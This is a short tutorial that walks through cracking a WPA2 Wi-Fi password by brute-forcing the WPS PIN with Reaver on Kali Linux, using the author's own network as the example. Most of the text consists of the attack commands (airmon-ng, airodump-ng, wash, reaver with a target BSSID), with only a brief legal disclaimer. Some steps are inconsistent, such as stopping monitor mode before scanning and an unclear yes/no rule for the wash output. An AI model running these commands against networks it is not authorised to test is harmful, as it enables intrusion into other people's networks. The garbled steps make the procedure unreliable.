Warning: Please note that this tutorial is purely educational and I am not responsible for your actions. Knowledge doesn't mean you should do anything illegal. Don't crack any wifi router without authorization; otherwise, you will be put into the jail !
I assume you have your Backtrack / KaliLinux already installed on your Windows using:
Virtual Machine (VirtualBox)
Or In dual boot
Note: You'll need a compatible wireless adapter which supports packet injection (i recommend you to use an Alfa AWUS036H USB Adapter)
Let's start with opening your terminal (CTRL+ALT+T) and type the command: '' airmon-ng '' to see the Wireless Card that we are going to use:
- We'll need to stop our wireless monitor mode, type: '' airmon-ng stop wlan0 '' and hit enter:
- Now let's scan the wireless traffic around us using the command: '' airodump-ng wlan0 ''
- You can see all the access points with diffrent informations, R.M.A (Real Madrid :p) is my own WiFi that i'll crack (check all its informations: Mac Address = BSSID, encryption = ENC, channel = CH, authentification = AUTH ...)
- Note that R.M.A is encrypted using WPA2 algorithm and running on channel 1, we will check if WPS is enabled or not using command:
wash -i wlan0 -c <channel number> -C -s
For me:
wash -i wlan0 -c 1 -C -s
- If 'No' proceed to next step, if 'Yes' you'll not be able to hack the WiFi !
- This will be the last step where we are going to crack our WPA2 password using Reaver Tool
Type the command using the access point informations gathered above:
reaver -i <your_interface> -b <wi-fi MAC address> --fail-wait=360
For me it will be:
reaver -i wlan0 -b BB:A3:86:32:86:6E --fail-wait=360
- This may take many hours depending on your PC performance and wifi signal power
And what about WEP Encryption? See it on how to crack your wifi WEP password
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